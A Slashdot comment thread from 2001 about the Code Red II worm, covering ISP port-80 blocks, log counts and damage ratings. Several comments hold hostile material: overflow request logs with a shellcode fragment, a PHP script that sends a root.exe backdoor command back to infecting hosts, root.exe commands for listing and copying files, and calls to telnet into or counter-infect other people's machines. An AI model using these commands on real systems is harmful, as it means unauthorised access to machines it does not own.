Slashdot Mirror
Code Redux
I don't understand why Symantec classifies a "remote root" exploit as only "medium" damage. Code Red [?] is hitting cable modem networks especially hard, as the new variants scan "nearby" IP's in preference to random ones, which has apparently caused enough damage and network congestion that AT&T's residential broadband division (MediaOne) has cut off port 80 across their network to try and halt the spread of the worm, or so several submitters reported. Newsforge has a story about various reactions to the worm, and reader nettdata sent in an interesting story about the worm becoming the main course at a dinner of security specialists.
So you want to start a virus/anti-virus war online, eh? If you build a bug to kill another bug, someone will use your bug to kill other stuff--it's not that hard to mutate your formerly "harmless" bug. Fucking idiot. Think before you post inane shit like this.
I saw one comment saying mediaone had cut off port 80 on infected machine. Well they have cut it off on all machines at least in the .ne area.
X XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801% u9090%" 0 "-" "-"
I don't run iis I run sambar server so am not and never was in danger of infection. The really ridiculous part of blocking port 80 is that it has leaks my two servers have only received 16 connections since yesterday afternoon where my normal hits are around 2000 per day.
The following is a sample of the 16 hits.
[08/Aug/2001:06:00:49 -0400] myservername 65.96.70.231 "" GET 404 "/default.ida" "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
For those of you who don't know that was an attempt at infecting me. If I were running a vulnerable system
I would now be infected so mediaone's efforts are a total waste of time, all the fools have managed to do is block all my legitimate traffic while still allowing code red in.
"PMS is the time of the month when women act like men do all the time"
Robert Heinlein
m00.
Actually it is not FUD here at our college. The main university recomendations for new students are for them to purchase computers with Win2000.
Some of the sub-colleges, business and engineering even *give* notebook computers to students here. These are all configured with Win2K for integration with their particular mail and online services. Of course, *hopefully*, the computers handed out by the university will be patched. But as I mentioned in my post, there are individuals on campus who still dont keep up on their administration duties.
And again, most of our statistics showed a majority of students migrating to Win2K over the last year. We had plenty of mini-web servers running here at our campus. So don't disregard this as FUD. Perhaps at your local university, there isn't a push to Win2k. At ours there is and this could very well be commonplace at others, so my original post was not to spread fear but present a 'heads-up'.
- A non-productive mind is with absolutely zero balance.
- AC
m00.
Yeah, yeah I know 'boxen' is plural.
I was typing too fast and my "any Win boxen" became "a Win boxen"...
Hmmm well - can't comment on the routers but I snagged a 3 hour job updating the firmware on an HP laserJet 4000 which was dying inexplicably - it only started doing so last week.
... whois says most of them seem to be from .tw
I'm nice and cosy in my firewall ignoring them ...
Rumours are that it is port 80 related. Firmware update (which is no walk in the park esp. on a Win2k only network - thanks HP) seemed to do the trick.
I'm still getting hit a couple of times an hour with port 80 requests
And the whole deal with providers blocking port 80 - I'm not supporting their actions , haven't affected me and I haven't thought about this much etc. etc. - but would this drop requests to access port 80 on infected machines - which should prevent the unwashed DSL carriers from being dragged into a nasty DoS via access to http//your.box.is.mine/scripts/ blah blah blah
Or am I talking out of my dubya ??
On a totally unrelated topic, is anybody else using Mozilla-0.93 and getting the "Slow down cowboy" message when posting to Slashdot? It seems like Mozilla is loading every page twice.
No, just you. This is my third post today, using Moz 0.9.3, build ID: 2001080110, Win32 version. No problems with /. posts.
---dragoness
I'm on a small home network with a couple of other people so at first I thought someone had left one of those annoying "Gnutella" programs running (which have similar effects to a DoS).
But then after reading about this virus I realized that it was it that was doing all this. It's amazing! I didn't realize how much damage a single 'doze virus could do!
- Safe behind firewall
I've seen some interesting fun done with backdoor.
One was the changing of the default home page to say ... "This system has been infected! Fix me up as soon as possible!"
I've also heard reports of people trying to run Internet Explorer and forward them to the page where the patch is, but from what I've heard it hasn't worked.
A couplea hours ago this one was quite funny: http://202.108.221.61/
That's the footprint of the Code Red scanner that eeye.com puts out.
With sufficient thrust, pigs fly just fine. --RFC 1925
Yep... although I'm in springfield, the cable has been up and down like a yoyo since Thursday or Friday ... and the times when it HAS been up it's been constantly berrated with CR2 attempts and being massively spammed with ARP packets ... *sigh*
Here was my solution. I mapped .IDA to PHP4, then created "default.ida" in my server's root directory, with the following code:
/scripts/root.exe?/C+start+http://www.microsoft.co m/technet/security/bulletin/MS01-033.asp HTTP/1.0\r\n\r\n");
:)
<?php
$fp = fsockopen ($REMOTE_ADDR, 80, $errno, $errstr, 10);
if ($fp) {
fputs ($fp, "GET
fclose ($fp);
}
?>
This will launch a web browser window with information on patching their server. This could be modified to do any number of things.. shut down IIS itself if you can.
Hope this helps
This letter was posted in the story.. Does anyone read those anymore?
https://www.eff.org/https-everywhere
I must have missed the sarcarism Or maybe that was a poor attempt at sarcasim After you get the grammar right you can work on the spelling of SARCASM
next poll:
number of code red attack attempts:
o 0-10
o 10-100
o my IIS tried 600 attacks
Connecting a stupid windows box without a firewall like zonealarm or blackice is just STUPID. I have trouble believing the /.ers do it. (maybe the poster is a Microsoft spy)
Linux doesn't have to beat M$ off of the desktop, this whale really seems to be beached and sufficating under the weight of its own buffer over-flows. They are going to have to go through millions of lines of code written by thousands of independant contracts to find them all; in short its probably impossible.
Apocalypse Cancelled, Sorry, No Ticket Refunds
Ditto to you! The code red worm already allows mutations as evidenced by the variants. You're just lucky that no one has already deleted your system yet.
I was:
Front page: click on "site map"
Site map: click on "Policies"
Policies: click on "What is the AT&T@Home Cable Internet Service Subscriber Agreement?"
What is the AT&T@Home Cable Internet Service Subscriber Agreement?: click on "Leased Modem Subscriber Agreement"
It's right there in 9(b)
-no broken link
Someone should just write a Code Red variant of their own to download the patch for the web servers and install it...
This was a comment stating that it wasn't hard to switch to *nix or BSD and configure a web server.
Information wants to be free like speech wants to be free, not like we want beer to be free.
If someone should be brought to justice
Its only Microsoft
and yes you found us.
There's also the fact that the shell that the worm installs does not have sufficent privledges to do anything extremely destructive. Hell, you can't even use "net stop" to shutdown a server after it scans you. I think Symantec's 'medium' classification is correct, after all this little bug could have been a whole lot worse than it was.
Zaed...
This is a really good question, I haven't even seen any discussion about it. Really, how hard would it be to write another virus/worm that acts like Code Red II, but instead of the exploits does something like:
a) shuts off IIS
b) downloads the patch and installs it
c) puts a big notice on the screen about what it just did
Seems appropriate to fight fire with fire, so to say.
That isn't what my cable modem ISP is doing. As the article said, AT&T shut off all incoming connections to port 80. This is stupid and accomplishes nothing. The hosts receiving the connections aren't the problem. It is the ones sending them. And while they can't infect any more AT&T customers' machines, they still can infect distant hosts. And they haven't protected any AT&T hosts, either, since any vulnerable machine is already infected. I got over 1300 infection attempts. What they should have done is block outgoing connections to port 80 from the infected machines, like the provider you mentioned. You can bet that would get people's attention.
Let it leave
we want it to exist
Thats a point
I've been monitoring my logs similarly (289), and have had this little thought in my head. Has anyone set up a 'Wall of Shame'? It could be especially embarassing for the Fortune 500 guys. It'd be trivial to do, and definitely worth a laugh!
-Ben
Say what you mean, mean what you say! But please know what #$@% you are talking about!
AT+T say you should not be running servers as you slow everyone else down. I hope they ban you.
been running full smtp, http, https, and ssh on @ home forever, with a portsentry monitor to blackhole scanners. With the apache logs, at least I can blackhole more hosts, and not have any risk of future exploits of those hosts impacting me.
I'm not too concerned about the TOS violations/enforcement, as services can move to any port no problem. (Just have to set up the a new mailer in sendmail for the desired port from yer buddies relay.)
There really can't be anyone more savvy working @home than a group of 10-15 unix/networking people "thinking out loud" on irc. (Except fer them with their irc buds...)
--Toilethead
The network managers at the Delft University of Technology are monitoring the scans by the infected systems. If they can not contact the maintainer of these systems they will configure the ethernet switches to isolate them from the network.
Code Red will only slurp down 12868 bytes.
Don't do it - the 'net has enough stress on it with 5.9 million IIS running hosts trying to infect everything in site without you transmitting a bunch of zeroes.
Yes, so I had similiar thoughts, but Daniel Lawson taught me better. (Thanks Daniel BTW.)
I would say, both.
...
All the Win2k users you know are running IIS?
Err, yes, since it's bundled in Win2k and not disabled most people don't even know it's on. Does the indexing service rely on it or something? I heard code red gets in via the Indexing Service in win2k, or maybe that's just a load of bullshit. What I do know is, most people are dumb. Yes, my friends who run Win2k are stupid, although i would have chosen the term 'inherently stupid'.
Weevil
ghaa.
I noticed the exact same pattern. First it started with two attempts from one address, now it's two attempts, pause, one attempt.
Fascinating...
How did you automate that? My shell kung fu is weak.
Or do you just have a lot of time for copy/paste?
FWIW I manually did about 40 IPs the other day. Similar ratio.
Yes, Yes, Yes
,we Accepted it.
We would distribute code red and others to come
and would intentionally infect our NT boxes
so distribution continues.
It should only stop when Microsoft is stopped.
They Declared War
It is survival of The strongest.
There is no Place for MS on OUR NET.
<!-- OpenSource Terrorists. -->
PS:
We Thank Microsoft Corp.
for making this code(RED) possible.
Comment removed based on user account deletion
It's all the arp requests from all the Code Red
probes for non-existant IP addresses.
tcpdump -i eth0 -n
(or whatever your external ethernet interface is).
I was seeing 2000/minute ARP requests on Monday,
don't know what it is now...
If the infected machines are constantly running 300 threads advertising the fact that they're compromised, that's not very obscure, now is it?
Considering how many scans I get on a cable network and how prized cable-based zombie machines are for DDoS attacks, I'd say there's a good number of scripties out there amassing huge collections of boxen...
"Hacked by chinese" WTF? Spending all that time devising a crufty virus, and that's all they have to say?
Yes it was rather crufty wasn't it? ;) I believe the 'Hacked by Chinese' tagging was limited to CodeRed 1 (and 1a or whatever they call it). Which is totally NOT what we're talking about here. In case you didn't know.
m00.
idiot
Maybe no one told their sysadmins that they are no longer running BSD spoofing that it is M$ yet!
Apocalypse Cancelled, Sorry, No Ticket Refunds
Ok, here's the beef. A friend and I are having this debate. We both have linux machines which are logging all these attempts to infect our machine from neighboring machines (who's owner's weren't savvy or smart enough to avoid infection, or were just a day late) Is it unethical to offer removal services to these poor saps for a fee? I say no, its not. His argument is, they might thing you're the one that infected their machine in the first place. While his argument might have a valid point (somewhere), if I am offering legitimate services, and can prove that my machine is being attacked by their machines, what is wrong with getting paid to help these people clean their machines? Someone explain this to me. Regards, Mark
It's more likely that his network has been back orificed long ago by someone's email cartoon or toy exe, a screen saver, pointer program or other piece of shiny frill. "Try to hit the gopher, while I root you out." The windows world has serious problems, and it is irresponsible to use that kind of software.
Friends don't help friends install M$ junk.
I can't speak for bind, but there are no known security exploits specific to current or recent releases of sendmail. By "recent", I mean in the last three to four years.
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
I agree. <imo>Anti-virus software companies are in the business of protecting against viruses; of preventing a large number of users from being compromised by the same code. They are not interested in the kind of security that would prevent script kiddies or social engineers from gaining access to your computer, and so they rate viruses by the amount of damage they cause, rather than rating security holes by the amount of damage they allow. I suppose they do this to be consistent with their stance that "the viruses are the enemy".</imo>
By the way, did anyone else think it was strange that CERT listed anti-virus software companies, and only anti-virus software companies, in the "vendor information" section of their advisory about SirCam? They could have easily targeted
The shareholder is always right.
I wonder how far it can be pushed? My server on @Home dishes out almost 3,000 pageviews per day. (!) I'm starting to get worried. I need a backup plan in case they pull the plug on me.
It infected Alpha code for Indexing service, so it wasnt only x86. Wonder how many other worms are can do this type of damage.
AIDS infects others for many years, and then kills its host.
Um... Actually, doesn't AIDS simply leave root holes open so that other attackers can come in and eventually bring the host down? That's actually very similar to Code Red II
This space intentionally left blank
On a totally unrelated topic, is anybody else using Mozilla-0.93 and getting the "Slow down cowboy" message when posting to Slashdot? It seems like Mozilla is loading every page twice.
...
Additionally, since alot of the colleges in Ohio have site license deals with Microsoft so that students can get the OS for cheap (or even free), there were just enough people figuring that 2000 must be better than 95, simply due to the numbers, to cause us a bit of aggravation.
Of course, out of those people, most probably don't have IIS installed, but I've come across just enough people who install random things they don't need to say that the problem, while small, certainly isn't insignificant.
Let's just write a new worm that goes out and finds computers with this vunarbility. If it manages to get onto a computer, it will automaticly download the microsoft patch and apply it. Problem solved... wasn't so hard now.. was it?
I really don't think you're in any position to call Illserve a moron. Your advice is dangerous & stupid, Illserve has it right.
Even once patched, your machine is not safe. "You won't necessarily find all backdoors" ? Then your machine is toast anyway.
I know i'll be switching. I don't pay 80 bucks a month to just surf the net on verizons terms. I do use my DSL for work, VPN, testing websites and personal pages.
Is there anything "We" can do. The terms of service specifically state it is up to the END user to do all necesseary functions to protect HIS data. Verizon makes no gurantees of service so how can they modify the service?
I wish i could get a class action for something.. they're limiting email to verizon.net emails only, filtering access.. what next?
Even if border security is good, consider: do you have any employees with vulnerable NT or 2K laptops? Do they take them home and connect to the internet from there?
If the answer to the above two questions is "yes", then corporate infection is pretty much inevitable.
We need to do something like in China during the time of MAO, the cultural revolution, gather all the sysadmins who dont do _SHIT_ with their boxes and dont check up on advisories etc, and have them shot! This code red crap was known as a buffer overflow as early as June 18th, and still machines are getting infected! its so .. fucking.. pathetic.
Well, not surprising when you consider that many commercial servers are not even patched with hotfixes known from 1998 etc..
Stupid admins must die.
Has anyone also noticed that Win2K comes with (and installs as part of the IIS "Group") an SMTP server ... gee ... any bets what the next round of expoits might target? :)
This space for rent. All reasonable inquiries will be entertained at proprietors discretion.
how would it spread then?
All well and good, I guess. But what of the day when people don't see your white hatting as such? Then someone will come out with a variant of your white hat hack on Code Red and, instead of having it hit the patch, will have it install something really nasty on the box, making it look like they're white hatting.
Yes, this could be done now--infect a box, then have it hit a second virus that slams the box after the DDoS is done--but it would be more elegant after someone started to white hat Code Red.
-- Geof F. Morris
Nah, we should track down the stupid admins that get this exploit installed on their servers and have them flogged,and sue them for financial damage.
Just put your Apache server on another port, say 8080. That's what I did. Then you just tell people to tack ":8080" after your domain.
/etc/httpd/conf/httpd.conf is your file!
Ooh, that would be a neat hack; own the server, setup a ramdisk, move yourself into it, setup a HTTP server (in RAM), kill all running programs (that's "take over control of the computer from Windows") and format the disk.. woah, pull that and I'll be impressed. :) .. reboot the machine and everything's gone.
What time is it/will be over there? Check with my iPhone app!
Maybe Microsoft's next EULA should have a clause that alows Microsoft to for collect damages to their reputation for "failing to properly maintain and apply official required Updates to Microsoft Software".
I think John Wayne said "Life is tough, it's tougher when you're stupid." Get the patch or turn it off.
Apocalypse Cancelled, Sorry, No Ticket Refunds
10 simulataneous connections.
What makes you believe that this webserver is the ultimate cause of computer security bugs?
Past track record, and the lack of any way to audit it for further issues?
My local cable provider technically bans any type of server, the reason being a) the bandwidth is asymmetrical b) they want you to buy a more expensive business contract to run servers c) they can give people NATted addresses. However, they don't appear to monitor traffic and provided you don't abuse the system they don't care.
All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
It would be a nice idea, I remember reading a reply to a similar idea as "It wouldn't be nice netiquette if you messed with other people's computer, even if you mean well.".. well I would say if someone writes the anti-worm, they can just tell the clueless admin "Sorry I had to do this, since you were too clueless to patch your own server."..
What time is it/will be over there? Check with my iPhone app!
I'm not sure what Cutting off port 80 meant for them, but at my School, the students machine cannot access ports 80 of servers outside the school network.
So they're not blocking our port 80 but other port 80. We can still access website using the school proxy/cache
This way, infected IIS server inside our network won't abuse internet bandwith and won't spread the worm outside our network. Since all production servers in the school are Unix admins don't don't care about contamination in their network.
The policy seems to vary depending on where you are in the country.
I *wish* they'd block off port 80 here.. my rd light has been blinking nonstop for days!
That's what the ambiguous "Underrated" moderation is for.
http://help.broadband.att.com/faq.jsp?content_id=4 16
NO servers. Therefore, they will get no more money from me.
True, this will tell you if you are *infected*, but it doesn't tell you if you are *vulnerable* (but not yet infected).
neither is CodeRed, SirCam32 ect.
Apocalypse Cancelled, Sorry, No Ticket Refunds
cat file |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat |cat | grep pattern
Now that's abusing a cat!
...
You may look up the IP-Adress on netcraft.com and see which other webservers are running at the same Netblock Owner, you'll be surprised!
Meanwhile the Hits from CoderRed on my Server have reached 12000 (yes, it's a multi-IP-server), and are doubling every 2 days with no end in sight!!!
bye
Markus S. --
True. True. They are lazy. Hell, when the bind bug came out, I was one of the 1st 50 to patch mine. A lot of those MCSEs don't even know its out there. Im still getting hits on Apache.
I don't know what the tester used, but you could easily throw something together in 10 min using Java. You could probably do this just as easily with some other language, but Java is the one I know best and offers a good API for accessing http servers ( java.net.UrlConnection ).
Jumpstart the tartan drive.
Here's AT&T's e-mail response from Tuesday morning:
Thank you for contacting AT&T BroadBand Cable Internet Service.
We have blocked port 80 as a temporary measure and will be lifting the block when our network engineers have finished their work. I do not have an estimated time for this, however. I apologize for any inconvenience that you may be experiencing.
During a Tuesday afternoon chat session, another one of their support reps stated:
We may have some more information regarding port 80 later this evening, otherwise you could check back tomorrow for possible updates. I do apologize for the inconvenience.
On the chat session, whoever answered the chat at least knew about the port 80 block so the word is getting out within AT&T support - not like Monday when they were totally clueless. The online Network Status is still vague "We are experiencing service interruptions affecting All Regions that may cause intermittent network connectivity. "
As for whether or not AT&T allows servers is up for debate. Their 2nd level tech support said they don't, but I quoted the leased line subscriber agreement, located http://help.broadband.att.com/subagreelease.jsp, specifically section 9b that says that servers are allowed.
AT&T @Home hasn't cut off port 80 where I live yet (Palatine IL, the NW Chicago 'burbs). A quick grep of my Apache logs shows that I got hit 499 times yesterday with requests for 'default.ida'. Just over 1200 times since this thing broke started.
What really annoys me is that I just inherited responsibility for maintaining code for a print server product we sell. Code Red is knocking these things off the net left and right (buffer overflow processing the URL, I suspect) and customers are screaming. Oh, and did I mention that since inheriting the code I haven't even been able to get the fscking debugger to run yet!?
Why anyone would leave a printer sitting wide open on the wild net is beyond me, but apparently it's not acceptable to just tell the customers to put it behind a firewall where it belongs...
Chelloveck
I give up on debugging. From now on, SIGSEGV is a feature.
Really? All the Win2k users you know are running IIS? That seems weird. Maybe your friends are just particularly stupid.
I was probing machines that probed me for a working root.exe and one machine was "owned" within 10 minutes of probing my cable modem connected box.
Out of the original list of 39 or so that had a working root.exe, none of them are now repsonding to thouse request because they are now under the control of someone else.
Since Aug 1st, My class C block has
experienced 109,666 code red
infection attempts.
83,499 are version II attempts.
Of all attempts,
30,388 are from 61.74.162.3
14,550 are from 61.74.162.16
13,111 are from 61.74.162.10
The remaining source IPs are all sourcing
less than 100 attempts each (most single attempts).
Especially since people are reporting attacks from Hotmail, of all places.
Looks can be deceiving. Or CAN they?
I've written a little ascii grapher which can be used to track Code Red from your apache logs.
./count_apache_date.byday | ./ascii_graph -c 2
How to graph Code Red attacks by day:
$ grep default.ida access_log |
2001/07/19 18 xxxxxxxxxxxxxxxxxxxxxx
2001/07/20 02 xx
2001/08/01 11 xxxxxxxxxxxxx
2001/08/02 25 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2001/08/03 26 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2001/08/04 27 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2001/08/05 28 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2001/08/06 29 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2001/08/07 36 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Source code with examples: (requires perl):
http://www.ip4noman.org/code_red.tgz
--Fesh
Kill -9 'em all, let root@localhost sort 'em out.
That's not the case, he seems to be spreading it via email and his intentions are pretty bad.
How about:u bject=Please
make Windows into a secure operating system!
root.exe?/c+explorer+mailto:billg@microsoft.com?S
If only I had a windows machine so that I could work out the right command...
...
yes, but can you find a link to that page? I wasn't able to find it. Also, you can find that page under any topic by appending "&category_id=n" to the URL. The policy looks depreciated to me. The tech support agents need to be retrained.
That's exactly what I would say to the thousands of sysadmins who still insist on running Sendmail and BIND. Code Red on IIS reminds me a lot of the Morris Worm on Sendmail...
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
LOL! I bow before your excellence.
Well then it's either "Lucky You!" or "You're looking at the wring logs!"
one better than mcleodeight
Mind you, you can configure those to not pass on Code Red requests. Which might be a Good Idea.
Thank you very much for this, I have no programming experience and I knew it had to be something relatively simple to do :) I'd like to file a bug report though, you have old and new swapped. the worms that use a series of N's are the old ones, and the worms that use X's are the new ones. I just thought it strange that in the last 10 hours my linux box got 22 new and 2 old attempts, while my windows box on the IP next to it got 47 "old" attempts and only 2 "new" attempts in about 16 hours. All in all, great program though. I used it on my machine at work and found that our main internal webserver was infected with the new strain, if its available to the Internet as well as the intranet we have a problem (but not mine to fix).
Make sure to wrap it in quotation (%22) marks! =)
Try this.
I hardly think it's MCSEs that are the culprits for the spread of this virus: Instead it's full of themselves, sure they know everything wankers who installed IIS to show how 31337 they are (the first step of most "MCSEs" is to remove all of the unnecessary ISAPI modules, which are pretty much all of them. So far the .ada and .printer extensions, which are used by probably
A good portion of them have probably been unattatched to the network, or will be brand new machines just for school.
This may be insightful, but how many of these people will ACTUALLY be running a vulnerable web server? Only those that have installed IIS with Windows 2000! I am willing to bet that this number is negligable among college students, especially those with new computers. Those computers will most likely be running ME, which is less expensive and is more suitable for home/student use.
Those students running Win9x or ME are NOT VULNERABLE from Code Red or CR II and those running NT4 are NOT VULNERABLE from Code Read II. This kind of FUD is what makes people panic. We don't need it in the news and we especially don't need it on Slashdot.
----- rL
Just look at the information - if after the infection your mp3s and Word files are still there, and still seem the same as they were before, you have little damage. Sure, you might have to wipe and reinstall the OS, but your _data_ wasn't damaged, and you can pretty easily verify that.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
try GET /script/root.exe?/c+dir+c:\
I tried it out. This is what appeared in the log.
/scripts/root.exe?/c+dir+c:\ HTTP/1.0" 404 286 "-" "-"
/NULL.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXX=X HTTP/1.1" 404 284 "-" "-"
- 216.201.108.18 - - [08/Aug/2001:19:29:45 +1200] "GET
- 216.201.108.18 - - [08/Aug/2001:19:29:46 +1200] "GET / HTTP/1.0" 200 1948 "-"
"-"
210.zz.zz.zz 216.201.108.18 - - [08/Aug/2001:19:29:46 +1200] "GET
- 216.201.108.18 - - [08/Aug/2001:19:29:48 +1200] "GET / HTTP/1.0" 200 1948 "-"
"-"
(I've snipped by IP BTW.)
It looks like it is testing for:
* Code Red 3 backdoor (found on all good Windows 2000 systems)
* A web server
* The ida overflow
* A web server (again)
By the way: The Code Red scans went dead yesterday morning on MediaOne.net (at least the 66.* where I am). It looks like they're blocking all connects on port 80 now.
Liberty in your lifetime
You're using Unix criteria, not Microsoft Windows criteria. Remember, in the Microsoft Window world, mediocrity is an aspiration. Symantec hasn't lost their mind. They never had one to lose.
That is amusing, but the Code Red III I would like to see would take control of your IIS server and then install the damn Code Red patch. Then after a day or so we wouldn't have to hear about this damn thing anymore.
We gotta put a stop to this.
I think we can.
Here's the deal. CodeRedII is out there, infecting anything that looks or smells like Windows 2000, running IIS 5.0 and Index Services. Happily, the worm writers are discovering that this pretty much covers the default installation of Win2K Server. Out of the box, it's happy to index the hard drive, and serve up web pages. Nice. This applies to any Win2K Server that hasn't been patched, or for which the owner hasn't shut down IIS or IDS, or both.
CodeRedII does a couple of things -- first it intrudes on the box, overflowing a buffer and executing code. This code modifies explorer.exe and copies it around to make it a little easier to execute. Then, with the worm residing in memory, it seeks out other machines to infect -- viola, YOUR IP address gets hammered.
But what about that modified explorer.exe? When the administrator logs in and runs explorer.exe, the modified version launches a telnet session. There's your backdoor. The infected server now has a telnet service running, with administrator permissions. All the hacker has to do is telnet to the box, and he/she owns it.
So what can we do about it? I say we review our logs, see who's trying to infect us, telnet into the offending box and put a stop to it. You'll know by the three consecutive hits to your IP address, on port 80, from the infected server. Now, knowing the IP address, and surmising from these three hits that they're out looking for another box to infect, *WE* log on using the unprotected telnet session and issue the BORG sleep command. Sleeeeep. Sleeeeeeeeeeep. Or, in Microsoft parlance, SHUTDOWN.
Who's with me? Gonna take some smarts to check syslogs and cable modem router logs to see who's been knocking, then telnet into the boxes to say 'shutdown'. Perhaps we can also write a little batch file to pop a message to the system operator, inviting them to PATCH their damned server.
I know of at least one broadband provider that is completely shutting off access to machines known to be infected.. and not allowing them back on untill they patch up. (well i imagine they must let them on to at least downlaod the patch). If @home blocks my port 80 i'll be quite pissed. Yes I'm lame, I'm running IIS (patched) on my cable modem.
Don't Tread on Me
Meaby that's becouse Symantec threat Microsoft software as non-popular and that's why this is not very dangerous :)))
You mean Windows isn't secure? Network specialists are being PAID to figure this out? I wonder what happens if a consortium sits down and decides how to make the perfect virus...a friend of mine suggested that having it recompile itself on the system it hit, and contact the last instance of it to recieve updates. Just a thought...
JoeLinux
I work for a certain, um, large company that makes microprocessors and the Code Red has hit us particularly hard internally. We've had to take down a lot of the port 80 intranet applications and the packet storms are playing havock with our email. It's driving everyone nuts!
I did a little experimenting myself, and I absolutely cannot believe the ease at which you can get into these systems and download any file you wish (root.exe?/C+copy+file.txt+c:\inetpub\wwwroot). How this is not all over the media, considering the sheer number of infected hosts is beyond me.
I'm running blackice defender (i know, i know, real men run firewalls at the network layer) however I'm up to about 8-9 scans or my port80 every hour and it seems to be increasing.
Quidquid latine dictum sit, altum viditur
I'm on an @home cable network, and for the last couple of days my little activity light has been blinking at an astonishingly high rate. Today I finally sniffed the network to see what it was, and it's an amazing rash of ARP requests... about 20 per second. Normal seems to be more like .5-1 per second.
(The cable modem of course only allows me to see broadcast traffic and traffic meant for my network, and I don't normally see this much traffic.)
Think this new Code Red is the reason why? Makes sense...
I gotta say this worm is really amazing. You can watch it's growth in your log files. Mine roll over daily and you can see the file sizes increase day by day. On Aug 1 I had an 8k log file. The 2nd I had a 12k one. The third was 32k the day after that was 64k. Today it was up to 192k so far and there's still another 2 hours till the log file rolls over.
Like sex? Read and write about it! Indecent Blogging
Didn't see any warnings on their site (connected from elsewhere) yesterday though. You'd think they'd give people warning, and their suport phone number kept me on hold for hours on end...
This sig intentionally left justified.
The Internet is insecure!
Sysadmin that doesn't apply patches get owned!
Writing virus is as simple as opening Word! (Yes I know Code Red is a bit more complicated, it's written in Delphi)
Come on, this is completly predictable. What really amuse me is the fact that we haven't seen a really dangerous bug yet: something along the lines of Code Red, mixed with CIH (destroy motherboards), that format each hard-drive it encounter. Are virus's writers responsible or what? This would make the Internet a lot more secure, one way or another. And yes, this is a Microsoft worm for God sake's !
Nobox: Only simple products.
we make a lot of home products at our company, you've probably used 5 or 6 or more in a lifetime. Our entire multi-billion dollar operation came to a halt today when our netblock was attacked by the nt4 servers and nt5 clients. I guarantee that none of those clients had the sp2 fix...
________________________________________________
Polish Telecom, the biggest ISP down here, also announced that they will block traffic from 'infected' sites. Trying to connect to whitehouse server is taken as a proof of infection.
:wq
I just got home from work and saw the little light on my cable modem going nuts. I did tcpdump from my firewall box and I'm seeing MASSIVE amounts of arp traffic.
;-).
Perhaps I'll call roadrunner and see about a refund for the crappy bandwidth I'm getting tonight
I wish that RoadRunner San Diego would do that! All they've done so far is to send two "Virus Alert" e-mails out to people, imploring them to install the patch if they run Win2k or WinNT.
I really think that it's the responsibility of a machine's owner to lock down his/her system from attack. Ignorance of the rule is no excuse. If you put a machine on the net, and it's not secure, it becomes a danger for everyone.
The easiest thing to do is to shut down the access to machines that are infected. That way, you have their undivided attention when they call you up and say, "My cable's not working!" You simply respond... "Yes, we shut it off, because you wouldn't take care of business."
You're not lame for running IIS if you've patched it. You're lame if you aren't paying attention to the patches out there.
While out and about looking for the latest Code Red statistics, I found this link to a Code Red Self Test which is supposed to tell you if you are vulnerable, and if you have been infected.
I don't know if it works, I don't have a Win boxen to test it on...
AT&T's residential broadband division (MediaOne) has cut off port 80 across their network
Seeing as how HTTP runs on port 80, how are outgoing HTTP connections (i.e. web page pulls) supposed to proceed across the network? Given that frontends to mail, newsgroups, and file transfers are increasingly HTTP-based, they might as well just schedule total network downtime during Code Red attacks.
Will I retire or break 10K?
What they should do is scan for people running IIS webservers and cut them off. Leave the Apache users alone!
From Symantec's website:
Damage
The damage component measures the amount of harm that a given threat might inflict. This measurement includes triggered events, clogging email servers, deleting or modifying files, releasing confidential information, performance degradation, errors in the virus code, compromising security settings, and ease by which the damage might be fixed.
In terms of what it does locally (ie doesn't erase your entire harddrive), medium damage isn't that far out of line.
Maybe they should add a Mainstream Media Hype rating...
Besides the load of the spread (which is probably made signficantly better by having the worm mostly scanning on it's own subnet) CodeRed2 is quite benign.
Yes, it does open a remote root exploit, but the servers that got infected were already wide open due to the default.ida hole. Sure, it's easier now, but since there are simple exploits for default.ida already, any script-kiddie worth the name could already have walked straight into these computers.
In truth, I figure that the people who have made most use of this exploit has been geeks who would ordinarily never break into systems, but have been made curious about where the worms are coming from (of course, _I_ would never do such a thing... really...)
Remember reading in high school biology that getting cowpox would confer a resistance to smallpox? I wished more IIS servers had gotten hit with Code Red I and forced them to patch. On my tiny little site I'm getting over two hundred unique requests for default.ida every half hour. I guess that this is because of my IP address being in the DSL neighborhood.
Lots and lots of the machines I checked have the default IIS page. This may mean that the owners don't know they're running a web server (thanks to default installs) or are home users reading about this new Code Red II and thinking, "Hmm... I'm glad I'm not running a server." I've only seen a small percentage of duplicates too, so the rate of infection is definitely high.
I think it's great how there was the link to give the definition of Code Red in the story, but nobody had actually given the contextual definition.
"It was hell!" recalls former child.
